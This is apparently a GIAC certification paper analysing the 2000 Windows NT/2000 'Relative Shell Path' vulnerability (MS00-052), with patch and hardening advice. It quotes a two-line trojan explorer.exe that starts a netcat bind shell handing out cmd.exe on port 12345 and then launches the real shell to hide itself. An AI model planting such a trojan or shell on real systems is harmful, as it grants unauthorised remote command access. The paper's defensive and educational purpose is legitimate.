Global Information Assurance Certification Paper

The "Relative Shell Path" Vulnerability

Manon Dion

Alberto Aragones, from The Quimeras Company[1] (http://www.quimeras.com) has discovered a vulnerability that affects all versions of Microsoft Windows NT4 and Windows 2000 workstations and servers.

This vulnerability exploits the way Windows searches for executables upon startup if the absolute path is not specified in the registry. The discoverer of this vulnerability uses the shell as an example of how to exploit this. The value of the shell key in the registry uses a relative path rather than an absolute:
Hkey_Local_Machine\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\Shell\
Explorer.exe

Upon boot up, the system looks in the registry to decide what Shell to load (Explorer.exe). This executable is located in the winnt directory, however, due to the path in the registry not being an absolute path (i.e.: c:\winnt\explorer.exe), windows defaults to the following search order:

- the directory from which the application loaded from (during startup, the current directory is %SystemDrive%, i.e.: c:\)
- the current directory for the parent process
- the 32 bit windows system directory (system32)
- the 16 bit windows system directory (system)
- the windows directory (%SystemRoot%, i.e.: \winnt)
- the directories listed in the Path environment variable[2]

As can be seen here, a possibility of four places is searched before the winnt (%SystemRoot%) directory. Any file named explorer.exe located in these directories would be launched as the shell upon logon. A malicious user could place their code on a machines' root drive (normally c:\), call it explorer.exe, which could also launch the real c:\winnt\explorer.exe shell to hide the fact that a Trojan is even on the system. If the user who logs on next has administrative privileges, the potential for damage is substantial.

The same search sequence is also used to locate DLL's. Therefore, this could be exploited for any number of executables in the registry that do not have an absolute path specified (i.e.: rundll32.exe). This could also be exploited should some system or application call DLL's with no absolute path specified in the registry; a malicious DLL could be loaded instead.

According to the ntsecurity[2] article, and Microsoft's FAQ[3], this vulnerability is not remotely exploitable, however, Mr. Aragones proves otherwise. By default, NT 4.0

[1] http://www.quimeras.com/secadv/ntpath.htm
[2] http://www.ntsecurity.net/Articles/Index.cfm?ArticleID=9637

servers and workstations on a network have the root drive shared, albeit hidden (i.e.: C$). The default permissions on root drives is "Everyone – Full Control", making it write-able. A malicious user on the network could easily drop their code on another users root drive (the administrators' for example). The code would run with the same permissions as the interactively logged on user.

The author of the discovery demonstrates how this could be remotely exploited if the target machine has the telnet server installed, or using the netcat utility (available from: http://www.l0pht.com/~weld/netcat/). He demonstrates the remote exploit by placing the tool netcat and a file named explorer.exe on the root drive (c:\) of the target machine. The explorer.exe files basically contains 2 commands, 1 which launches netcat (in listening mode on port 12345, that launches a command shell when connected to), the other to launch the real shell (c:\winnt\explorer) in order to hide the Trojan. like so:

```
nc –d –L –p 12345 –e cmd.exe
c:\winnt\explorer.exe
```

Upon the next logon on the target machine, you will be able to telnet to port 12345 and have a command console with the same rights as the person interactively logged on.

Microsoft has reacted quickly with the release of a patch[4]. Interestingly enough, the patch does not change the paths in the registry to absolutes, but rather replaces the msgina.dll (the security subsystem used for the logon process in Windows NT machines, which is separate from other subsystems.), in NT 4.0 systems. It replaces the msgina.dll and userinit.exe in Windows 2000 systems. The patches are available at the following URL:
http://support.microsoft.com/support/kb/articles/q269/0/49.asp

Microsoft claims the relative paths in the registry are for compatibility with legacy applications. Some applications look for a file name and extension only as a value, and wouldn't work if an absolute path were there. Hence, the patch works well for this vulnerability (as it replaces the security subsystem) for logons, however, it makes one think of other exploits that could be discovered, without requiring the need to log on.

Since most hacks happen from within organizations, administrators should install this patch as soon as possible, and while they're at it, how about a little batch file to remove those default administrative shares (C$, Admin$, IPC$). Better yet, client workstations (NT 4.0) should have their server service disabled (disabling remote access from the network). If users don't need to share their files, why leave it on? It creates default-hidden shares, uses memory as a service, and creates extra traffic on the network (advertising). This is not to say that this vulnerability is not exploitable from the Internet as the discoverer demonstrates using netcat or telnet, however, having tested this myself internally on the network, I want to point out that it was extremely easy from within.

For more information on this vulnerability and a myriad of others on the Windows platform, see http://www.microsoft.com/technet/security/default.asp. Tools and white papers are

---

[3] http://www.microsoft.com/technet/security/bulletin/fq00-52.asp
[4] http://support.microsoft.com/support/kb/articles/q269/0/49.asp

also included on how to secure windows systems. As I recommend this site for excellent information, I would like the reader to keep in mind that in this case, Microsoft's bulletin erroneously stated that this exploit is not remotely feasible. When a new vulnerability is found, it is always good practice to visit the source of the discovery. People who spend their time looking for them, therefore, may have found different ways of exploiting them. Granted, someone needs to eventually log on to the target machine in order for you to get the console prompt, or whatever you have coded in the c:\explorer.exe file, this does not mean however that the vulnerability can not give administrative access to a remote user.

Sources

Aragones, Alberto. "Executable path searching vulnerability in Windows NT/2000. July 2000. URL: http://www.quimeras.com/secadv/ntpath.htm (July 31, 2000)

Microsoft Security Bulletin (MS00-052), "Patch Available for "Relative Shell Path" Vulnerability. July 28, 2000.
http://www.microsoft.com/technet/security/bulletin/MS00-052.asp (Aug 1, 2000)

Microsoft Security Bulletin (MS00-052): Frequently Asked Questions. July 28, 2000.
http://www.microsoft.com/technet/security/bulletin/fq00-052.asp (July 31, 2000)

Microsoft Product Support Services. "Registry-Invoked Programs Use Standard Search Path." Article ID: Q269049. July 27, 2000.
http://support.microsoft.com/support/kb/articles/q269/0/49.asp (Aug 1, 2000)

Windows IT Security, "Relative Registry Paths May Allow Trojans to Run", July 28, 2000.
http://www.ntsecurity.net/Articles/Index.cfm?ArticleID=9637 (Aug 1, 2000)